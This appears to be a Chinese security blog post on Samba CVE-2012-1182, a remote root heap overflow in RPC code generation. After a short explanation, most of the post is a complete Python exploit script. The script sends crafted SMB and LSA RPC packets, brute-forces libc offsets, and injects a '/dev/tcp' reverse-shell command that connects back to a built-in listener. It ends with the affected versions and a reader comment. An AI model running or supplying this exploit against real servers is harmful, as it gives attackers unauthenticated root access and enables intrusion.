Samba 0day(CVE-2012-1182)分析及利用

2012-09-27 185195人围观 ,发现 12 个不明物体 漏洞

Samba是在Linux及UNIX系统上实现SMB(Server Messages Block)协议的一套免费软件,由服务端及客户端程序构成,是一套可以跨平台进行文件共享和打印共享服务的程序。

该漏洞允许用户从一个远程匿名链接以root用户上下文来执行任意代码。

产生原因:

Samba的RPC代码生成器中包含了一个错误而导致生成的代码中存在安全漏洞(生成的代码用于控制RPC调用的解码和编码),从而导致包含数组长度的变量与为数据分配内存的变量检查不一致并可由链接的客户端所控制,远程攻击者可以通过自定义一个特殊的RPC调用方式来以root用户上下文执行任意代码(代码包含),而这一过程并不需要身份验证的链接。

有图有真相:

利用代码:

#!/usr/bin/python
#
# finding targets 4 31337z:
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
#    -> to get system_libc_addr, enter this value in the 'system_libc_offset' value of the target_finder, run, sit back, wait for shell
# found by eax samba 0day godz (loljk)


from binascii import hexlify, unhexlify
import socket
import threading
import SocketServer
import sys
import os
import time
import struct      

targets = [
	{
		"name"               : "samba_3.6.3-debian6",
		"chunk_offset"       : 0x9148,
		"system_libc_offset" : 0xb6d003c0
	},
	{
		"name"               : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)",
		"chunk_offset"       : 4560, 
		"system_libc_offset" : 0xb20
	},
	{
		"name"               : "target_finder (hardcode correct system addr)", 
		"chunk_offset"       : 0, 
		"system_libc_offset" : 0xb6d1a3c0, 
		"finder": True
	}
]

do_brute = True
rs = 1024
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])

def dump(src, length=32):
	result=[]
	for i in xrange(0, len(src), length):
		s = src[i:i+length]
		hexa = ' '.join(["%02x"%ord(x) for x in s])
		printable = s.translate(FILTER)
		result.append("%04x   %-*s   %s\n" % (i, length*3, hexa, printable))
	return ''.join(result)


sploitshake = [
	# HELLO
	"8100004420434b4644454e4543464445" + \
	"46464346474546464343414341434143" + \
	"41434143410020454745424644464545" + \
	"43455046494341434143414341434143" + \
	"4143414341414100",

	# NTLM_NEGOT
	"0000002fff534d427200000000000000" + \
	"00000000000000000000000000001d14" + \
	"00000000000c00024e54204c4d20302e" + \
	"313200",

	# SESSION_SETUP
	"0000004bff534d427300000000080000" + \
	"000000000000000000000000ffff1d14" + \
	"000000000dff000000ffff02001d1499" + \
	"1f00000000000000000000010000000e" + \
	"000000706f736978007079736d6200",

	# TREE_CONNECT
	"00000044ff534d427500000000080000" + \
	"000000000000000000000000ffff1d14" + \
	"6400000004ff00000000000100190000" + \
	"5c5c2a534d425345525645525c495043" + \
	"24003f3f3f3f3f00",

	# NT_CREATE
	"00000059ff534d42a200000000180100" + \
	"00000000000000000000000001001d14" + \
	"6400000018ff00000000050016000000" + \
	"000000009f0102000000000000000000" + \
	"00000000030000000100000040000000" + \
	"020000000306005c73616d7200"
]

pwnsauce = {
	'smb_bind': \
		"00000092ff534d422500000000000100" + \
		"00000000000000000000000001001d14" + \
		"6400000010000048000004e0ff000000" + \
		"0000000000000000004a0048004a0002" + \
		"002600babe4f005c504950455c000500" + \
		"0b03100000004800000001000000b810" + \
		"b8100000000001000000000001007857" + \
		"34123412cdabef000123456789ab0000" + \
		"0000045d888aeb1cc9119fe808002b10" + \
		"486002000000",

	'data_chunk': \
		"000010efff534d422f00000000180000" + \
		"00000000000000000000000001001d14" + \
		"640000000eff000000babe00000000ff" + \
		"0000000800b0100000b0103f00000000" + \
		"00b0100500000110000000b010000001" + \
		"0000009810000000000800",

	'final_chunk': \
		"000009a3ff534d422f00000000180000" + \
		"00000000000000000000000001001d14" + \
		"640000000eff000000babe00000000ff" + \
		"00000008006409000064093f00000000" + \
		"00640905000002100000006409000001" + \
		"0000004c09000000000800"
}


def exploit(host, port, cbhost, cbport, target):
	global sploitshake, pwnsauce

	chunk_size = 4248

	target_tcp = (host, port)

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(target_tcp)

	n = 0
	for pkt in sploitshake:
		s.send(unhexlify(pkt))
		pkt_res = s.recv(rs)
		n = n+1

	fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])

	s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid)))
	pkt_res = s.recv(rs)

	buf = "X"*20  # policy handle
	level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS
	buf+=struct.pack('<H',level) # level
	buf+=struct.pack('<H',level)# level2
	buf+=struct.pack('<L',1)#auditing_mode
	buf+=struct.pack('<L',1)#ptr
	buf+=struct.pack('<L',100000) # r->count
	buf+=struct.pack('<L',20) # array_size
	buf+=struct.pack('<L',0)
	buf+=struct.pack('<L',100)

	buf += ("A" * target['chunk_offset'])

	buf+=struct.pack("I", 0);
	buf+=struct.pack("I", target['system_libc_offset']);
	buf+=struct.pack("I", 0);
	buf+=struct.pack("I", target['system_libc_offset']);
	buf+=struct.pack("I", 0xe8150c70);
	buf+="AAAABBBB"

	cmd = ";;;;/bin/bash -c '/bin/bash 0</dev/tcp/"+cbhost+"/"+cbport+" 1>&0 2>&0' &\x00"

	tmp = cmd*(816/len(cmd))
	tmp += "\x00"*(816-len(tmp))

	buf+=tmp
	buf+="A"*(37192-target['chunk_offset'])
	buf+='z'*(100000 - (28000 + 10000))

	buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)]
	n=0

	for chunk in buf_chunks:
		if len(chunk) != chunk_size:
			#print "LAST CHUNK #%d" % n
			bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk
			s.send(bb)
		else:
			#print "CHUNK #%d" % n
			bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk
			s.send(bb)
			retbuf = s.recv(rs)
		n=n+1

	s.close()

class connectback_shell(SocketServer.BaseRequestHandler):
	def handle(self):
		global do_brute

		print "\n[!] connectback shell from %s" % self.client_address[0]
		do_brute = False

		s = self.request

		import termios, tty, select, os
		old_settings = termios.tcgetattr(0)
		try:
			tty.setcbreak(0)
			c = True
			while c:
				for i in select.select([0, s.fileno()], [], [], 0)[0]:
					c = os.read(i, 1024)
					if c:
						if i == 0:
							os.write(1, c)

						os.write(s.fileno() if i == 0 else 1, c)
		except KeyboardInterrupt: pass
		finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)

		return
		

class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
	pass


if len(sys.argv) != 6:
	print "\n  {*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}\n"
	print "  usage: %s <targethost> <targetport> <myip> <myport> <target>\n" % (sys.argv[0])
	print "  targets:"
	i = 0
	for target in targets:
		print "    %02d) %s" % (i, target['name'])
		i = i+1

	print ""
	sys.exit(-1)


target = targets[int(sys.argv[5])]

server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

while do_brute == True:
	sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" % (target['system_libc_offset'], target['chunk_offset']))
	sys.stdout.flush()
	exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)

	if "finder" in target:
		target['chunk_offset'] += 4
	else:
		target['system_libc_offset'] += 0x1000


if "finder" in target:
	print \
		"{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " \
		"system_libc_offset = 0x%03x" % \
		(target['chunk_offset'], target['system_libc_offset'] & 0xff000fff)

while 1:
	time.sleep(999)

server.shutdown()

堆栈溢出原理请大家自己百度一下,就不在这里浪费口水了!!
Samba 3.6.4 3.5.14 3.4.16已经修复此漏洞

受影响版本

3.6.4之前的版本3.X均受此影响,另外上诉修复的版本不在受影响范围内!

这些评论亮了

  • 原创 回复
    是远程?前段时间还遇到这个东西,可惜当时没0day
    0day就像某个东西,你想它来的时候就是不来,不想它来的时候来的特别猛
    )7( 亮了
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